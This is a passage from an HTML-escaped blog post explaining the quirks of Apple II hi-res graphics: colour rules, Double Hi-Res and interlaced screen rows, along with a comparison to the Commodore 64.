blue.&lt;/li&gt;&lt;li&gt;If the bit is 1, and the high bit of that byte is 0, and the pixel is in an odd-numbered column, then the pixel is green.&lt;/li&gt;&lt;li&gt;If the bit is 1, and the high bit of that byte is 1, and the pixel is in an odd-numbered column, then the pixel is red.&lt;/li&gt;&lt;li&gt;If the bit is 1, and there is another pixel next to it, then both pixels become white, even if the other pixel is in a different byte.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;p&gt;TA-DUH!&lt;/p&gt;&lt;p&gt;The later Apple ][e computer supported yet another clever hack called “Double Hi-Res”, which could give you 560 pixels across and double the number of colors by using a memory-expansion card to hold a parallel grid of bits. (This made for a whopping 16K of kluge-graphics).&lt;br /&gt;&lt;br /&gt;Not klugey enough for you? Well the consider this: &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The rows on the screen were interlaced in groups of 8! So, from top to bottom, you started off with row 0, and the next row was row 8, then row 16, row 24, row 32, row 40, row 48, row 56, then row 1, row 9, row 16 and so on. This made programming quite a challenge because drawing a simple vertical line involved calculating the interlaced row offsets!&lt;br /&gt;&lt;br /&gt;As awkward as the Apple graphics system is, it was revolutionary for its time. Seriously!&lt;br /&gt;&lt;br /&gt;Of course the price of being first is that you are stuck with using that scheme in order to keep your software backward compatible. And newer computers (like the Commodore 64) were able to support better sound and graphics chips built into the motherboard.&lt;br /&gt;&lt;br /&gt;But Apple took advantage of the fact it had 8 expansion slots (whereas the Commodore 64 had none), so plenty of add-on boards were soon made to boost the graphics and sound capabilities of the Apple.&lt
